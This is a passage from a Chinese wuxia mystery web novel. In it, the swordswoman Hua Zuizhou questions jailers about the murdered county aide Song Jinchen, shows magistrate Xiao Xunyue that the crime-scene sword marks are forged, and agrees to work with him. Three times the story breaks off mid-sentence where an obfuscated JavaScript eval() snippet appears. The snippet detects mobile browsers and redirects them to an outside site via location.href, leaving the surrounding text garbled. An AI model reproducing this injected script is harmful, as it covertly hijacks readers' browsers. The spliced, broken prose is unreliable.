花醉州撒开的手还立在空中,一脸平淡的看着问话的那个人,然后威胁性地拔出匕首把玩着,那麻子浑身一抖,紧紧盯着在她手里翻飞的利刃。 入狱之前不是搜身了吗?!她这刀哪变来的? “小兄弟别害怕,”花醉州稍稍用力把人拉近了些,匕首贴在他满是汗的麻子脸上,“我不会伤你们的,我只问几个问题。” 麻子张着嘴,眼神不住往下瞟着匕首,嘴唇颤动:“好,好好,娘子请问。” 花醉州小心看看周围,低声问道:“跟我说说你们曲塘县的那个县丞呗?” 一听问的是宋津臣,麻子的惊慌瞬间胜过了恐惧,立马竖起食指放在嘴边做“嘘”状:“你不要命了!还敢讨论他?” 花醉州一看他这样,就知道此事定暗藏玄机,既然威逼不行,便试试利诱。 花醉州从腰侧荷包里掏出一小块碎银:“小兄弟,你看,通融一下嘛,嗯?” 麻子看见钱,眼睛亮了亮,挣扎半晌,最终还是把她的手推了回去:“不是钱的问题,这事儿,我当真不能说。” “嗨呀,有什么不能说的?我又没问怎么死的,我就是……比较瞻仰宋县丞,所以想了解一下县丞而已。”花醉州晃了晃手里的银子,低声道。 见那人已经开始动摇,花醉州忍痛把一袋子钱全拿了出来:“里面有三两银子,怎么样,够你吃三四年了!” 麻子喉头滚动,正想开口,一旁刚刚还闭着眼的人嘴里呻吟着,幽幽转醒,眼神清明。 “哎呦娘子,他不说我能说啊!我们县令……”他眼睛瞟了瞟周围,抿抿唇,压低声音正说着。 那麻子一下给他肘开了:“你这人怎么抢我生意!” “这钱就放在这,谁先说了就是谁的!” “行了行了!”花醉州抬手制止,“这钱一人一半,你先说。”她指着麻子。 两个人眼骨碌一转,显然是觉得自己本应全拿到,现在却还得分一半出来,都不满意。 花醉州冷笑一声,作势要将银子收回去:“怎么,不想要啊?好说,那我不问就是了。” “哎哎哎!”那麻子赶忙拉住她的手,“那你可不许告诉别人啊!我们县令本来三令五申不许背后嚼舌根,违者可是要杖责五十的。” 花醉州拍拍他的肩膀,轻声道:“放心吧小兄弟,你从来,都没有跟我说过什么。” 麻子轻轻咽了咽口水,小心道:“这位宋县丞,其实是个好官儿。” “好官儿?” “对!”那人重重点了下头,继续说道:“宋县丞为人清正,家里可穷了,每天都为了农事奔波,凶年之际他比百姓还着急,就是吧……” 麻子顿了顿,声音比之前更小:“宋县丞好像和肖县令不对付。” “不对付?怎么个不对付法?” “我知道我知道!”另一个龅牙狱卒抢着回道,“宋县丞在曲塘县已经做了六年官了,之前是主簿,前些年刚升了县丞,大家都说朝廷会擢升他为曲塘县令。谁承想,这肖县令却横空出世,来这儿当了官。” “对对对!从此俩人就似乎结了怨,再加上政见多有不同,时常互相讥讽,就前几日,俩人还在后堂吵架呢。我们县衙下边的人都说,”麻子神秘兮兮的,捂着嘴说,“宋县丞的死,多半和肖县令有关。” 两人像是说高兴了,一句接着一句,都不用她多逼。 “可是,肖县令堂堂新科状元郎,怎么会干出这等腌臜事?若因政见不同就杀人……”花醉州摩挲着下巴,语气质疑。 “娘子,人心难测啊!这官场上边的事儿,咱们这些平头小老百姓哪里说得清,况且这都是别人传的,我也只是听说而已。”麻子摇摇头,三言两语撇清自己和传言的关系。 据她所知,肖寻岳幼时为太子伴读,肖家门风清正,其父肖祈赫更是朝中有名的忠臣,若他是个因政见不同就痛下杀手之人…… 花醉州不是很信。 莫非是有人想借舆论来陷害他,所谓三人成虎,若信的人多了,不仅损了他的声名,说不定还能让他锒铛入狱,再无法入仕。 不过这倒是给了花醉州一些新的想法,她假意点头,问道:“那县衙里,除了肖县令,就没有谁和宋县丞有矛盾了吗?” “嘶……” 两个人摸着下巴,半晌,才一脸绞尽脑汁的表情:“没有。” 花醉州:…… “那宋县丞是怎么死的?” “你不是说你不问这个吗?!” “不行,这个不能说。”两人一脸惊恐,一边往墙角退一边迅速伸手就要拿走银子。 “啪——” 一只手搭上龅牙那伸出去的手,清脆一声,牵制着他动也动不得。 “娘子,你这是干什么呀!这真的不能说啊!” “给我过来!” 那麻子还想趁乱跑走呢,花醉州揪着他的领口,把人一带:“不想要银子?还想挨板子?好说好说,等我日后出了狱,就跟肖县令好好说道说道,这曲塘县衙,纪律不严呐!” 说罢,花醉州捏上龅牙的肩膀,使了些力,威胁意味浓重,龅牙吃痛,皱着脸,又疼又心惊:“好好好!说说说!我说!我说!” 龅牙咽了咽口水,低声道:“今儿一早天刚亮,百姓们在闹市发现一死人,趴在地上,浑身是血,衣服都被染的看不出本色了,有个胆子大点的翻过面一看,才发现是宋县丞。” “照你这么说,死状很可怖?” 麻子来了劲:“何止!那叫一个凄惨!身上没有一块好皮,密密麻麻的全是刀口,脖颈处还有一道三寸长的伤!头顶凹了个大洞!看着着实可怖!” 没好皮,凹了个洞?听着怎么那么像醉九州造成的伤势呢。 “哦对了,娘子可知道吴耳?” 没等花醉州回他,他就自顾自的继续说:“说起来也怪了,宋县丞那死状居然和吴耳一模一样!现在百姓都在议论是不是连环凶杀案,城中人人自危,都害怕自己是下一个被杀之人。” “后来我们县令去查案,发现宋县丞的玉佩不见了,要说那玉佩啊,还是县丞女儿,哦,也就是宫里的婕妤送的,所以县丞日日戴在身上,视若珍宝,我们县令当即便下令,全城搜查玉佩。” 怪不得今早要来搜客栈,花醉州定了定心神,问道:“那玉佩,长什么样子?” 两人想了想,龅牙说:“我记得是长圆形,正面有亭台楼阁和一大片竹林的雕刻。” 对上了。 花醉州神情有一瞬怔愣,居然和肖寻岳说的一样,这玉佩当真是宋县丞的。 可是,师傅怎么可能害她。 “不过娘子问这做什么?”麻子问。 “这你不用管,你俩还知道什么?都跟我说说。” 两人对视一眼,麻子回道:“没有了,真的。” “那这吴耳是因何而死?仵作验尸可有结果?” “娘子,我们一直待在牢里,哪知道仵作说什么啊,不过大家都怀疑是连环凶杀。” “莫非吴耳和宋县丞有什么关系?” “哪儿能,八竿子打不着,吴耳就是个跛子偷儿,平日里和他邻居赵合一起,靠偷偷摸摸为生,百姓们都叫他俩‘曲塘两赖’,两个人都是牢房的常客,怎么可能和我们宋县丞有关。” “既无关,那为什么要杀吴耳?莫非是吴耳知道些什么?所以要杀他灭口?”花醉州垂眸沉思着。 龅牙却不甚在意:“哼,要我说,估计就是凶手也看不惯这偷贼。” 花醉州还打算再套些话,就听见大牢门一响,听脚步声,约摸有三四个人。 “咔哒——” 一片沉寂中,花醉州坐在被重新上锁的牢房里,麻子和龅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17449759|201146||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 牙拿了钱,早就不知道躲哪咬去了。 花醉州朝门边一瞧,却见颜斐捂着屁股,一瘸一拐的被一个衙差押进来,连身上那张狂的气质都减弱了几分。 “这是……?” 怎么会被发现呢?以颜斐的身手,不应该啊? “哼,这位女侠,你这小师侄,可是一点也不老实啊。”说完,那衙差把人往牢里一推,上锁转身就走。 “哼!”颜斐朝衙差离开的方向一哼,转头又苦着一张脸。 “师姑!”一被重新关押进牢房,颜斐哭丧着脸跑过来扒着铁栏,和花醉州诉苦。 “师姑!你是不知道那个县令有多气人!我不过是越了个狱,他居然让我受杖刑!整整二十杖!” 看颜斐卖惨,花醉州抱着臂,坐在地上一脸玩味的看着他:“哟,二十杖?” 颜斐懵懵的点点头:“对啊,二十杖。” “哎,”花醉州摇摇头,理了理衣服,“颜斐,你可以啊,二十杖都没把你打的动弹不得?甚至还能跑着进来?” 颜斐:…… 失策,真是失策。 一不小心就忘了掩饰,这下还怎么让师姑心甘情愿当打手。 花醉州起身缓步朝这边走来,颜斐心虚的眨眨眼,脚步不由往后一退。 “给我站那。” 颜斐浑身一激灵,站在原地不动了。 花醉州伸出手揪着颜斐耳朵:“我让你悄悄传话,你怎么搞的?啊?别跟我说是不小心被人发现的!” “师姑师姑!手下留情啊!疼疼疼!” 颜斐五官皱在一起,师姑这手劲儿是越来越大了,耳朵都快给他扯下来了。 花醉州手一滞,看他神情不似作假,乍一松手,垂下臂轻轻摩挲着指尖。 颜斐撅着嘴,皱着八字眉,满脸委屈相:“哎呀师姑,我当时就躲在围墙之上,谁知道刚刚那个衙差一直跟在他身边,我又怕耽误事,就只好暴露了……” 花醉州笑了一声:“那你最开始跟我装,不会是想让我替你报仇吧?” 颜斐心虚的迅速瞟她一眼,发现花醉州正冷飕飕的盯着他,又赶忙垂下头来,点了点头。 花醉州看着他的头顶,这孩子打小就有根呆毛,怎么也顺不下去,说来也是自己的师侄,这般看着,她倒还真有些心软了。 语气不由也放软许多:“我让你给师傅送的信,送了吗?” “送了送了!我先送的信才去拿包裹的。” “那东西呢?” 颜斐四处瞧了瞧,才从怀里掏出木盒递给花醉州。 其实说木盒也不很准确,这盒子只有一寸高,一只手那么大,实在放不了什么东西,而且看着就古旧,若不是那天机锁,随便扔路上都不会有人捡的。 可问题是,颜斐没把玉佩给她。 “没了?” “没了啊。” 没找到?怎么可能?可玉佩是她亲手放回去的,阿斐的秉性她清楚,这些大是大非他拎的清,不可能隐瞒她。 除非,是肖寻岳藏在另一个地方,看来,这个玉佩有大问题。 “罢了,话可给他传到了?” 她指的是肖寻岳。 颜斐忙不迭小鸡啄米:“传到了传到了!不过,他让我跟师姑你说,他明白你的意思了,一会儿会派人来接师姑,只是师姑你为何要见他?” 花醉州把木盒揣进怀里,缓声道:“为了赌一把。” 颜斐还来不及问,花醉州揪着他的袖子嘱咐道:“阿斐,一会儿若是我出了大牢,你也找个机会逃走,然后帮我办件事。” “啊?师姑,我这,这怎么逃?” “老办法。” 她指的是装病。 颜斐张大嘴,有些不可思议:“可这法子已经用过一遍了,它……” 不好使啊! 话卡在一半,牢房门又是一响。 “咔哒——” 只不过这次是一个人。 一见人,门口的衙差拱手行礼:“杜县尉。” 来人点点头,转头看向牢里的她:“花醉州,县令有请。” 这人负手而立,腰间佩刀,年轻却满是肃杀气。 “县令叫我?所为何事啊?” 杜弋冷着一张脸,声音也冷的像冬月冰渣:“县令不让说,去了你就知道了。” 6. 清白 出了衙门左拐,走至清渠街的尽头,再进一条小巷,便是一座看起来就年岁久远的宅子,门前梁柱古旧,不知何年挂上的灯笼已经泛白,在门前飘着。 迈步跨过门槛,肖寻岳站在院内,显然是在等她。 “县令,人已带到。” 肖寻岳循声往门口看去,牢房里脏,她虽然只待了两个时辰不到,却也不免染上脏污。 花醉州的衣裙上全是杂草,发尾插了几根毛,脸也脏兮兮的,许是刚用手擦过脸。 “过来吧。”肖寻岳伸出手唤着她。 “县令,您叫我来这宋宅,有何贵干啊?”她话说的小心,语气却不见多恭敬。 肖寻岳递给她一个帕子,然后转身带着人往宅子深处走:“请娘子来,是想确认一件事。” 花醉州接过帕子,在脸上胡乱擦了几下,拔腿跟上了肖寻岳。 宅子小,不多时便到了后院,院内是一整片的竹林,青石板铺就的小径穿透竹林,现出一道窄小破旧的木门,只能堪堪遮风避雨,门前匾额上写着“介然居”三个大字。 介,善也。 善在身,介然必以自好也。 这宋津臣,倒真如那衙差所说,是个清正廉洁的好官儿。 门内曲择疾走而出,朝肖寻岳拱拱手说道:“县令,观其屋内痕迹,我等猜测,应是闻家独创剑法,醉九州。” 又是醉九州?花醉州挤开堵在门口的几人,跨步而入。 房内剑痕累累,无一物幸免,连床幔都碎成了一块块的布片,房梁折了一半,一副要塌不塌的样子。 醉九州一式向来以霸道著称,其剑气所过处,物化齑粉,这屋内乍一看,和醉九州还真有七八分相像。 “娘子瞧着这些痕迹,可觉得眼熟?” 肖寻岳跟着她进屋,踱步至她身前,说道:“今早卯正,有人在闹市发现了宋县丞的尸首,仵作验尸发现宋县丞死于前夜亥时三刻,其致命伤在脖颈处,且背部有拖痕,手脚腕处有握痕,皆为死后所致,所以,闹市绝非案发之所。” “我又派人来宅子里查探,”肖寻岳一边说着一边看着花醉州,似是要从她脸上看出什么端倪:“如我所料,人是先死在了卧房里,然后被抛尸闹市。” “你说的这些,与我有何干系?”花醉州微蹙眉头,反问道。 “没有关系吗?无论如何,宋县丞的死因,还需娘子帮忙方可查清,肖某刚及弱冠,蝉不知雪,至今从未见过‘醉九州’,是以请娘子前来,就是想看看,这房内剑痕,是真是假?” “呵。” 说是请她帮忙,实则只是想看看她到底有几分嫌疑罢了。 这些剑痕,假的不能再假了,不过也好,她正好借此洗清嫌疑,然后再和他谈条件。 花醉州回过身来,直视着曲择,眼神轻蔑:“看起来,你们县衙这个班头,能力不怎么样啊。” “你!”曲择气急,指着花醉州辩解道:“我曲某也是见过世面的,这房内剑痕,分明就是醉九州!” 肖寻岳抬手制止他,对着花醉州说道:“继续说。” 花醉州把绑着的双手抬至他面前,晃了晃:“给我解开。” 肖寻岳没动。 “解开啊!我还会跑了不成?”她言之凿凿,肖寻岳没法,拔出剑挑着绳子给她松了绑。 双手重获自由,花醉州先活动了一下手腕,然后向着肖寻岳伸出手:“肖大人,可否借剑一用?” 肖寻岳看了眼剑,正迟疑着,花醉州却直接抽出,一个飞身跃至房外,轻巧如燕。 “既然你不说话,我当你默认了。” 花醉州立在院中央,将剑竖在身前,唇角带笑,朗声道: “诸君看好!我这一剑,名叫——醉九州!” 醉九州共九式,抚剑、聆音、问剑、转、挑、拨、绕、刺。 最后一式,乃心中方寸,点到为止。 其实原本的醉九州本没有名字,闻家祖传剑式也只有前八式,闻远道习得此剑法后,不仅自己加了第九式,还取了个名字。 江湖中人,义字当先,不杀无辜。 花醉州缓闭双眼,气沉丹田,左手呈剑指式覆于剑身,衣袂翻飞,猎猎作响。 然后陡然睁眼,手指擦过剑身,手腕微抬,剑忽的飞于半空,剑音铮铮,似执剑之人一般,傲雪凌霜,卓尔不群。 旋即脚尖蹬地借力而起,稳稳握住剑柄,剑尖微挑,仿若游龙一般劈开一片竹林,露出一块空地。 竹子整齐划一的被从中劈开,倒在院中,片刻后,又像是被车辙碾过一般成了一滩碎屑。 花醉州身形如魅,弹指一挥间,所过之处一片狼藉,竹子林齐刷刷返老还童。 “这,已然人剑合一了啊!”院内有人叹道。 花醉州闻言,唇角一勾,旋身将剑刺于地上,石板正中心整齐裂出一条缝,随后从剑心向四周,蛛网状寸寸龟裂,蔓延半个庭院,石子四处飞溅,巧妙的避开了院内每一个人,被波及之处却尽数被毁。 该说不说,这人夸的好听。 肖寻岳刚想拍掌叫绝,却没想到花醉州借力挑起一块石子,轻巧拨到他面前,那石子速度快,肖寻岳躲闪不及,右耳被划伤,溢出细小血珠,一转头,却又被自己的剑抵着脖子,几缕发丝悄然落地。 一时间,左右受敌。 肖寻岳沿着剑身往剑柄的方向看去,花醉州背着烈阳,笑的张扬。 “女郎好身法。” “谬赞。”长剑直逼咽喉,花醉州唇角挂着笑,头微仰,只要手中有剑,她总是这般明媚潇洒。 “肖寻岳,你耳廓这道伤,便算作对我牢狱之灾的补偿吧。” 花醉州稍凑近他,气声在两人之间回荡,声音小的只有他们二人能听见。 “不愧是闻家子弟,你这作风倒是尽得闻家主真传。”肖寻岳摸上耳廓,那里已经没有血珠了。 “那是自然。” 花醉州挽了个剑花,利落插剑收鞘,目光紧紧盯着肖寻岳说道:“我闻家家训一则:不自生事,不信杀生。我虽行事恣意,却也不会违了家训。这杀人凶手,定另有其人。 “县令也瞧见这院子现在的模样了,若真是用‘醉九州’杀人,哪还留的了他宋县丞全尸?” 花醉州背着手,继续说:“县令,这真正的醉九州和假的,你知道区别在哪里吗?” 肖寻岳摇摇头。 “区别就在最后一式。” 她指着那块已经看不出模样的石板:“不知各位刚刚可看清了,最后一式,是刺,而非砸,师傅先前教导,力需从剑柄施到剑尖,四两拨千斤,好比以柔克刚,这样才能和前面的招数相得益彰,从内部给予敌手最大的冲击。” “但宋县丞头上是坑,我想就是因为凶手用的砸,因为他没有天分,学不会。” 她所言不假,那石板刚刚就是先裂开一条缝,她刺入其中,才使之龟裂的,但是,她怎么会知道宋县丞的伤势。 花醉州见他不说话,笑了笑,接着说:“县令,我若没记错,您的名字是叫肖寻岳吧?寻,绎理也。尊父尊母给您取这个名字定有其用意,绎理这两个字的意思,想必您要比我更清楚。” 寻,绎理也,剥茧抽丝,明察秋毫。 肖寻岳忽的一笑,这女子,真是伶牙俐齿。 “今日之事,在下多有得罪,还望娘子海涵。” 花醉州摆摆手:“无妨。” “不过,娘子可否借一步说话?” 花醉州顺着他手指向的方向看去,是宋宅后院的一座凉亭。 凉亭较小,且周遭长满杂草,足有半人高,一看便是好久没人打理了,在这死了人的宅院里,看着还真有几分凄凉。 肖寻岳先给她斟了杯茶:“尝尝?今年新制的淮南春茶。” 花醉州左手搭着腕子,手指有一搭没一搭的点着:“我不喜欢喝茶。” 肖寻岳斟茶的手一顿,放下茶壶:“那好,我便不客套了,娘子不是想见我吗?想说什么?” 花醉州胳膊肘撑上石桌:“县令不愧为状元郎,果然是个明白人,那我也直说了,你知道我是被陷害的,其实你根本不信我会杀人。” 不是询问,她很笃定。 肖寻岳抬眼,斟酌片刻道:“不,我只是有此猜测而已,现在,并不能完全确定你没有嫌疑。” “那你还和我聊什么?” “我想知道,娘子参加武举的决心,究竟有多少。” 花醉州盯着他的眼睛,里面满是探究。 说白了,还是在质疑她,不过是想看看她是否会假借武举之名,行暗杀之实,从而来逃避嫌疑。 她笑了笑,从怀里掏出一张白麻纸递到他面前:“县令瞧瞧?我的荐书。” 武举不比科考,可以投牒,必须有这一纸荐书,方能叩开武举的大门。 “如此,县令还怀疑我吗?” 荐书内容齐全,广陵刺史的名字也正确,更重要的是那官印,不伪。 见他不说话,花醉州接着说:“肖明府,最初我想见你,其实没多少把握能让你放了我,但现在,我掌握了一个关乎你仕途的惊天大秘密,我告诉你,你放我走,如何。” 闻言,肖寻岳抬眸盯着她,似是在权衡利弊:“哦?关乎仕途,听着倒是怪唬人的,那娘子不妨说说看。” “你先答应我,我说了你就放我走。” 肖寻岳笑了笑:“那要看娘子掌握的信息够不够格了。” 花醉州气的牙痒痒,但她既不能和官府对着干,便只能放手一试了:“有人说,宋县丞一案,八成和你脱不了关系,因为你与他政见不同,而且经常互相讥讽。” “政见不同?何人信口雌黄?” 宋津臣为人老派,他在政事上提出的一些新见解,宋津臣大多不太能接受,但会努力去理解,并切实考虑实施性,说他们两个政见不同互相讥讽,简直是污蔑了宋津臣这一代清官。 花醉州摇摇头:“我也不知,反正是你衙门里的人,我的意思是说, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17449760|201146||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有人想要借舆论断了你的仕途。” 闻言,肖寻岳紧皱眉头,他肖家在朝中一直保持中立,如今夺嫡愈演愈烈,明里暗里有不少拉拢肖家的,只是他没想到,他离京城十万八千里,居然还能有人把手伸到他身上。 “如何,我这个消息,可够格。” 肖寻岳也不急,把手伸进袖口,慢条斯理拿出玉佩,推到她面前:“娘子有没有想过,现在你的处境要比我危险。” “瞧瞧?” 花醉州狐疑的摸起玉佩,拿在手里翻看着,直到看到右下角那浅且小的“曲塘丞宋公”五个字,花醉州才猛然想起那龅牙说的:“所以,这就是死者的东西。” 肖寻岳点点头:“是,但不完全是。” “什么意思?” “这枚玉佩,是假的。” “假的?”花醉州半信半疑,赶忙举起玉佩,对着日光细细瞧了瞧,只是她一贯只会舞刀弄枪,这玉石一类,她还真分辨不出来。 “这玉哪里假了?我感觉料子怪真的哎。” 闻言,肖寻岳罕见的沉默了。 “……我不是说料子假,我是说,这不是宋县丞日日戴着的那块玉,而是有人仿制。” 花醉州蹙着眉,把玉翻来覆去的看了看:“你如何肯定?” “今年三月,城南那条河突然涨水淹了庄稼,我去查看之时却不慎落水,为了救我,宋县丞的玉佩被河石磕了一块极浅的凹痕,虽说不仔细看看不出来,但这块玉,根本就没有。” 花醉州又细细瞧了瞧,果然是没有,是一块完美无瑕的玉。 “这幕后真凶不惜伪造一个玉佩,也要把你送进牢里,而且还是官员的命,一旦坐实,你是要以命偿命的。” 以命偿命,确实很可怕,她还要去武举呢,她可不要出师未捷身先死。 花醉州强迫自己冷静,话锋一转:“可我与宋津臣并不相识,我也不知这玉佩先前到底有没有凹痕,万一你诓我怎么办。” 她这话问的犀利,肖寻岳却抬起手作发誓状:“若我诓你,便叫我脱了乌纱帽,此生不得做官。” “你!”花醉州眼眸瞪大,她只是为了试探,没想到他对自己也这么狠。 花醉州手指敲着石桌,发出一声声闷响:“你和我说这些的目的是什么?” 肖寻岳轻笑,反问道:“那娘子不惜让颜斐越狱,也要见我一面的目的,是什么呢?” “自然是为了洗清嫌疑,早日离开。” “肖某的目的,亦是如此。” ……亦是如此? 花醉州冷笑一声:“县令真是打的好算盘,想要借我引蛇出洞,顺藤摸瓜?” “既然我们两个都被人陷害,还不如就此联手。” 花醉州思忖着,没急着答复。 其实按说,她现在已经是清白之身了,若想走,也是名正言顺,只是今日的桩桩件件,让她摸不清幕后之人的真实意图。 尤其是这枚假玉佩,她不愿去怀疑师傅,但它真的就那样凭空出现在包裹里了。 而且,她也很想知道,到底是什么人,为什么费尽心思想让她死。 “娘子若是忧心武举,十日后,有一支入京商队,或可搭船前往,水路要快的多。”见她久未答复,肖寻岳还以为她是在计算时间,便主动提了个法子。 “不行,”花醉州拒绝的斩钉截铁,走水路她还怎么祭拜大师兄,“我必须走陆路,我只问你,十天的时间,你敢保证你能破了这个案子吗?” “能。” 神情淡定,瞅着像是已有了下一步计划。 “可是,你为什么要找我帮你?” 肖寻岳盯着她:“曲塘冗官冗兵,散漫成性,可堪大用之人寥寥无几,所以,我需要娘子帮我缉凶。” 刚刚走在街上,她就发现路边一些暗角有几个捕手,虽带着刀和箭弩,却大摇大摆,队形散乱,没有一点官兵的样子,反倒像恶霸游街。 现在他这么一说,她倒是明白了,民间都传言今晚亥时三刻会死人,原来是在提前布防,只不过没什么用就是了。 “肖寻岳,你可真是把我利用的干干净净,不仅想用我引出凶手,还想让我当打手?”花醉州站起身,背对着他,语气冰冷。 “抱歉,我知道这不光彩,但至少目前,我别无他法。而且,我所做的,对娘子也有利,不是吗?若此案不明不白,让娘子身上蒙了层灰,想必武举之时,这脏污也拍不干净吧。” 这是在和她谈条件。 花醉州掐着胳膊,他说的对,现在不是置气的时候,洗冤才是当务之急。 “娘子可愿与我合作?”他追问道。 花醉州重新坐在他对面,双臂叠放在一起,满脸都是深思熟虑后的慎重:“仕途,对你这种书香高门出身的人,尤为重要,你在凉亭既以此起誓,我相信你。而且,我也想尽快抓到真凶,还闻家和我,一个清白。” 听到允诺,肖寻岳向她伸出手:“既如此,还请娘子先与我做一出戏。” 7. 门外 “肖寻岳我跟你说不明白,说了我没杀人!我骗你有什么好处啊?” 后院凉亭突然传出女子的喝声,惊的栖息在一旁的鸟扑棱着飞起,掉了几根毛。 一道男声随之响起:“杀人之法千千万,今天这事只能说明凶手并不是用‘醉九州’这一剑法杀的宋县丞,但并不代表你就完全脱了嫌疑!” 得,看来是谈崩了。 花醉州一边说,一边从后院走出来:“我都说了我闻家家训不信杀生,我总不可能违背祖宗家训吧?!” “没错,不信杀生,又不是不能杀生,若是……” 肖寻岳抬眼,眼神犀利如刃:“受人所托呢?” 花醉州张了张唇,装出一副哑口无言的样子。 “呵,既然你已经认定我是凶手了,那今日何必叫我多跑这么一趟?” 肖寻岳摇摇头,解释道:“这也是因为,曲快班三番五次和我说,房中剑气就是‘醉九州’,为了证实,不得已才叫娘子前来。” “曲择?”花醉州侧目看向垂头站在一边的人,“刚刚我就想说了,不过是见过醉九州,还真当自己是什么盖世天才了,竟然如此武断。” 曲择下意识想反驳,脸色青了又白,白了又红,张张唇却又生生忍住了。 事已至此,他再争辩剑痕是醉九州也没用了,毕竟真迹在此,任谁也能看出院内外的不同。 “还有,你好像很想让我入狱?” 曲择猛地一怔,双眼瞪大:“谁让你有嫌疑?身为曲塘班头,我怎能让你这个杀人凶手逍遥法外!” 话说的冠冕堂皇,可花醉州还是捕捉到了他眼里一闪而过的慌张:“哼,万一逍遥法外的另有其人呢。” 说者装无意,听者有二心,曲择额上溢出冷汗,不住吞咽着口水,没接话。 肖寻岳看得真切,目光在两人身上逡巡,略带探究的眼神落在曲择身上。 曲择这个人,平时胆小怕事,贪生怕死,哪怕只是城东两赖偷银子的案子,他也能跑多远就跑多远,今日却一反常态,比他这个县令还急。 这个曲择,绝对有问题。 肖寻岳敛眸侧身,挡住了一众官差的视线,朝花醉州快速眨了几下眼睛,假意说和道:“曲班头也是破案心切,还望娘子莫怪,刚刚肖某的意思是,想让娘子在县衙小住几日,待案情真相大白,自会放你离去。” 他眼睫长,像个小扇子,又是眼尾上扬的丹凤眼,饶是现在他的眼睛看起来像抽风,但依旧很好看。 “这几日吃住全包,不知娘子意下如何?” 肖寻岳伸手做了个“请”状,示意杜弋把人带走。 “娘子,请吧?” 花醉州垂眸看着肖寻岳摊开的手,回想起刚刚在凉亭里他说的话,也装出一脸不情愿的样子:“……好吧,县令亲自邀请,岂敢不从。” * 待人走的没影了,肖寻岳转而指了指介然居,问道:“除了这假的剑法,你们还有什么发现?” 他这话问的人心里没底,曲择悄悄瞟了他一眼,拱手说道:“县令,恕我等无能,并无其他发现。” 肖寻岳蓦的笑了,众人都被他这一笑搞的摸不着头脑,他意味深长的看了看曲择,缓缓说道:“曲择,我记得,你好像并未娶妻?” 曲择不解此言何意,只得回道:“是,鄙人家中只有一位七十老母。” 肖寻岳点点头,扶起了他,一股刺鼻的味道猛地窜入鼻腔:“你身上的药味怎么又重了?” “回县令,前些日子来了位江湖游医,说能治我娘的病,许是因为换了方子。” 肖寻岳深深看他一眼,没再追问:“行,既然还没有找到什么有用线索,那本官就先回县衙了,你们慢慢找。” “恭送县令。” 曲择揩了揩额上的汗,这位肖县令虽年轻,但却是个心思缜密的,今日之事…… 站在一旁察言观色的衙差凑到曲择身边,小心问道:“县令这话,什么意思啊?” “我怎么知道?!做你的事去。”曲择语气不善,衙差撇撇嘴,小声咕哝着“神气什么”,忿忿转身走了。 * 肖寻岳刚穿过竹廊,就看见一个身着赭色衣衫的人,左手拿着一把伞,腰间佩着剑,一瞧见他,便乐呵呵笑起来。 “周平,你怎么又跟来了,我不是说了让你留到县衙吗。”语气颇有些无奈。 “郎君,我是您的侍卫,不跟着您反而呆在县衙,这算什么话。” 周平从小就跟在他身边当侍卫,此次他来曲塘县当官,肖寻岳本让他好好待在京城,他却跟着一并来了,还拿出了他爹的亲笔文书,这下,人他是不留也得留。 “郎君,事情如何,可有收获。” 肖寻岳回头看向那刻有“介然居”三字的牌匾,是最普通的木刻板,就好似宋津臣这个人一样古板沉闷,迂腐无趣,但他确实是个一心为民的好官,就这么死了,肖寻岳也为他可惜。 “有些收获,但不多。” 他其实一直想不通,宋津臣为人谦和,在朝中并未树敌,到底是什么人竟如此恨他,不仅死状凄惨,还被抛尸闹市,叫曲塘百姓瞧了个遍,好像在羞辱他似的。 还有半路杀出来的闻远道弟子,让本就扑朔的局势更添几分诡谲。 幕后之人的目的到底是什么?是想对付他,还是搞垮闻家?可为什么要以宋县丞为饵? 说来也感慨,他来曲塘当官一年,宋津臣作为前辈,教会了他不少东西,本想着明年入京述职时,在圣上面前为他美言几句,结果人就死了。 “周平,你去看看曲择的老母现在是否还在家中,还有赵合,你找几个人把他押到二堂,我要问话。” “是。” * 宋宅外,又被百姓们围的水泄不通,似乎看热闹已经成了人们的天性,无论事情原委知或不知,无论死者为何人,都想凑过来瞧一瞧,这之后也就理所当然的,成了饭后谈资。 “杜县尉,”人群里,一个满身鱼腥味的魁梧汉子一把拽住杜弋的袖子,问道:“这凶手找到没啊?俺听说,吴耳也死了。” 语气带着些疑问和恐慌,一副求证的样子。 “就是死了!俺今天在衙门口瞧见了!” “县尉,这前前后后死了俩人,不会还死人吧!” 此话一出,人群像是被撒入鱼食的鱼群,一个个跃出水面张开嘴,一声又一声的“谁会死”回荡在宋宅门外。 杜弋嘴笨,向来不擅长处理这些,先前宋县丞还在时,都是他来安抚民众的,现今人不在了,杜弋平静的脸上竟然罕见的带上一丝无措,手无意识摸上刀柄。 花醉州站在一边瞧着杜弋的动作,眼看着刀就要拔出来了,慌得她赶紧压下他的手。 真是荒唐,现在用武力镇压,反而会让百姓更慌乱,这杜弋,到底怎么当上县尉的,莫非只是一介武夫。 似乎是意识到了行为的不妥,杜弋赶忙撒开握着刀柄的手,向着民众一拱手:“现官府已加 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 